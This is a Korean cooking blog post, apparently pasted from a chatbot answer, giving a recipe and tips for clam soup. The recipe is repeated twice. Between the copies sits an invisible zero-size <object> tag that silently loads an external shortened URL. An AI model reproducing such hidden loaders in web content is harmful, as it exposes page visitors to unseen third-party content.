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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">시원하고 맛있는 바지락 조개탕 끓이는 법</h2><p data-sourcepos="3:1-3:106">바지락 조개탕은 쉽고 간단하면서도 시원한 국물 맛이 일품인 메뉴죠. 특히 쌀쌀한 날씨에 뜨끈하게 끓여 먹으면 더욱 좋습니다. 시원한 바지락 조개탕을 끓이기 위한 몇 가지 비법을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-16:0">
<li data-sourcepos="7:1-7:35"><strong>바지락:</strong> 신선한 바지락을 충분히 해감하여 준비합니다.</li>
<li data-sourcepos="8:1-8:30"><strong>물:</strong> 바지락이 잠길 정도의 물을 준비합니다.</li>
<li data-sourcepos="9:1-9:21"><strong>대파:</strong> 어슷하게 썰어줍니다.</li>
<li data-sourcepos="10:1-10:28"><strong>청양고추:</strong> 취향에 따라 송송 썰어줍니다.</li>
<li data-sourcepos="11:1-11:20"><strong>마늘:</strong> 편으로 썰어줍니다.</li>
<li data-sourcepos="12:1-12:15"><strong>다진 마늘:</strong> 약간</li>
<li data-sourcepos="13:1-13:24"><strong>소금:</strong> 간을 맞출 때 사용합니다.</li>
<li data-sourcepos="14:1-14:12"><strong>후추:</strong> 약간</li>
<li data-sourcepos="15:1-16:0"><strong>미림:</strong> 조개의 비린내를 잡아주는 역할을 합니다.</li>
</ul><h3 data-sourcepos="17:1-17:7">레시피</h3><ol data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:40"><strong>해감:</strong> 바지락을 옅은 소금물에 30분 이상 담가 해감합니다.</li>
<li data-sourcepos="20:1-20:36"><strong>끓이기:</strong> 냄비에 해감된 바지락과 물을 넣고 끓입니다.</li>
<li data-sourcepos="21:1-21:43"><strong>양념:</strong> 물이 끓어오르면 마늘, 다진 마늘, 미림을 넣고 끓입니다.</li>
<li data-sourcepos="22:1-22:46"><strong>조절:</strong> 조개 껍질이 열리면 소금으로 간을 맞추고 후추를 약간 뿌립니다.</li>
<li data-sourcepos="23:1-24:0"><strong>마무리:</strong> 대파와 청양고추를 넣고 살짝 끓여 마무리합니다.</li>
</ol><h3 data-sourcepos="25:1-25:21">시원한 바지락 조개탕 요리 비법</h3><ul data-sourcepos="27:1-31:0">
<li data-sourcepos="27:1-27:40"><strong>신선한 재료:</strong> 신선한 바지락을 사용하는 것이 가장 중요합니다.</li>
<li data-sourcepos="28:1-28:46"><strong>충분한 해감:</strong> 바지락을 충분히 해감하여 깔끔한 국물을 만들 수 있습니다.</li>
<li data-sourcepos="29:1-29:55"><strong>빠른 조리:</strong> 오래 끓이면 조개가 질겨지므로 조개 껍질이 열리면 불을 끄는 것이 좋습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>다양한 재료 추가:</strong> 팽이버섯, 애호박 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><h3 data-sourcepos="32:1-32:8">추가 팁</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:48"><strong>국물 맛 팁:</strong> 멸치 다시마 육수를 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li>
<li data-sourcepos="35:1-35:39"><strong>얼큰한 맛 팁:</strong> 고춧가루를 넣어 얼큰하게 즐길 수 있습니다.</li>
<li data-sourcepos="36:1-37:0"><strong>칼국수 팁:</strong> 끓인 국물에 칼국수 면을 넣어 먹으면 별미입니다.</li>
</ul><p data-sourcepos="38:1-38:51"><strong>꿀팁:</strong> 끓는 동안 나오는 거품은 국자로 걷어내면 더욱 맑은 국물을 즐길 수 있습니다.</p><p data-sourcepos="40:1-41:32">이렇게 간단한 방법으로 시원하고 맛있는 바지락 조개탕을 끓여 드세요.
<strong>혹시 더 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><hr data-sourcepos="43:1-43:3"><p data-sourcepos="44:1-44:9"><strong>[참고]</strong></p><ul data-sourcepos="45:1-47:0">
<li data-sourcepos="45:1-45:40"><strong>만개의레시피:</strong> 더욱 다양한 바지락 조개탕 레시피를 찾아보세요.</li>
<li data-sourcepos="46:1-47:0"><strong>유튜브:</strong> 시각적으로 배우고 싶다면 유튜브에서 조리 과정을 확인해보세요.</li>
</ul><p data-sourcepos="48:1-48:47"><strong>키워드:</strong> 바지락 조개탕, 바지락탕 끓이는 법, 시원한 국물 요리, 집밥 레시피</p><p data-sourcepos="50:1-50:54"><strong>어떠세요? 이 정보가 도움이 되셨나요? 혹시 다른 궁금한 점이 있다면 언제든지 물어보세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">시원하고 맛있는 바지락 조개탕 끓이는 법</h2><p data-sourcepos="3:1-3:106">바지락 조개탕은 쉽고 간단하면서도 시원한 국물 맛이 일품인 메뉴죠. 특히 쌀쌀한 날씨에 뜨끈하게 끓여 먹으면 더욱 좋습니다. 시원한 바지락 조개탕을 끓이기 위한 몇 가지 비법을 알려드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-16:0">
<li data-sourcepos="7:1-7:35"><strong>바지락:</strong> 신선한 바지락을 충분히 해감하여 준비합니다.</li>
<li data-sourcepos="8:1-8:30"><strong>물:</strong> 바지락이 잠길 정도의 물을 준비합니다.</li>
<li data-sourcepos="9:1-9:21"><strong>대파:</strong> 어슷하게 썰어줍니다.</li>
<li data-sourcepos="10:1-10:28"><strong>청양고추:</strong> 취향에 따라 송송 썰어줍니다.</li>
<li data-sourcepos="11:1-11:20"><strong>마늘:</strong> 편으로 썰어줍니다.</li>
<li data-sourcepos="12:1-12:15"><strong>다진 마늘:</strong> 약간</li>
<li data-sourcepos="13:1-13:24"><strong>소금:</strong> 간을 맞출 때 사용합니다.</li>
<li data-sourcepos="14:1-14:12"><strong>후추:</strong> 약간</li>
<li data-sourcepos="15:1-16:0"><strong>미림:</strong> 조개의 비린내를 잡아주는 역할을 합니다.</li>
</ul><h3 data-sourcepos="17:1-17:7">레시피</h3><ol data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:40"><strong>해감:</strong> 바지락을 옅은 소금물에 30분 이상 담가 해감합니다.</li>
<li data-sourcepos="20:1-20:36"><strong>끓이기:</strong> 냄비에 해감된 바지락과 물을 넣고 끓입니다.</li>
<li data-sourcepos="21:1-21:43"><strong>양념:</strong> 물이 끓어오르면 마늘, 다진 마늘, 미림을 넣고 끓입니다.</li>
<li data-sourcepos="22:1-22:46"><strong>조절:</strong> 조개 껍질이 열리면 소금으로 간을 맞추고 후추를 약간 뿌립니다.</li>
<li data-sourcepos="23:1-24:0"><strong>마무리:</strong> 대파와 청양고추를 넣고 살짝 끓여 마무리합니다.</li>
</ol><h3 data-sourcepos="25:1-25:21">시원한 바지락 조개탕 요리 비법</h3><ul data-sourcepos="27:1-31:0">
<li data-sourcepos="27:1-27:40"><strong>신선한 재료:</strong> 신선한 바지락을 사용하는 것이 가장 중요합니다.</li>
<li data-sourcepos="28:1-28:46"><strong>충분한 해감:</strong> 바지락을 충분히 해감하여 깔끔한 국물을 만들 수 있습니다.</li>
<li data-sourcepos="29:1-29:55"><strong>빠른 조리:</strong> 오래 끓이면 조개가 질겨지므로 조개 껍질이 열리면 불을 끄는 것이 좋습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>다양한 재료 추가:</strong> 팽이버섯, 애호박 등을 추가하여 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><h3 data-sourcepos="32:1-32:8">추가 팁</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:48"><strong>국물 맛 팁:</strong> 멸치 다시마 육수를 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li>
<li data-sourcepos="35:1-35:39"><strong>얼큰한 맛 팁:</strong> 고춧가루를 넣어 얼큰하게 즐길 수 있습니다.</li>
<li data-sourcepos="36:1-37:0"><strong>칼국수 팁:</strong> 끓인 국물에 칼국수 면을 넣어 먹으면 별미입니다.</li>
</ul><p data-sourcepos="38:1-38:51"><strong>꿀팁:</strong> 끓는 동안 나오는 거품은 국자로 걷어내면 더욱 맑은 국물을 즐길 수 있습니다.</p><p data-sourcepos="40:1-41:32">이렇게 간단한 방법으로 시원하고 맛있는 바지락 조개탕을 끓여 드세요.
<strong>혹시 더 궁금한 점이 있다면 언제든지 물어보세요!</strong></p><hr data-sourcepos="43:1-43:3"><p data-sourcepos="44:1-44:9"><strong>[참고]</strong></p><ul data-sourcepos="45:1-47:0">
<li data-sourcepos="45:1-45:40"><strong>만개의레시피:</strong> 더욱 다양한 바지락 조개탕 레시피를 찾아보세요.</li>
<li data-sourcepos="46:1-47:0"><strong>유튜브:</strong> 시각적으로 배우고 싶다면 유튜브에서 조리 과정을 확인해보세요.</li>
</ul><p data-sourcepos="48:1-48:47"><strong>키워드:</strong> 바지락 조개탕, 바지락탕 끓이는 법, 시원한 국물 요리, 집밥 레시피</p><p data-sourcepos="50:1-50:54"><strong>어떠세요? 이 정보가 도움이 되셨나요? 혹시 다른 궁금한 점이 있다면 언제든지 물어보세요!</strong></p></div>
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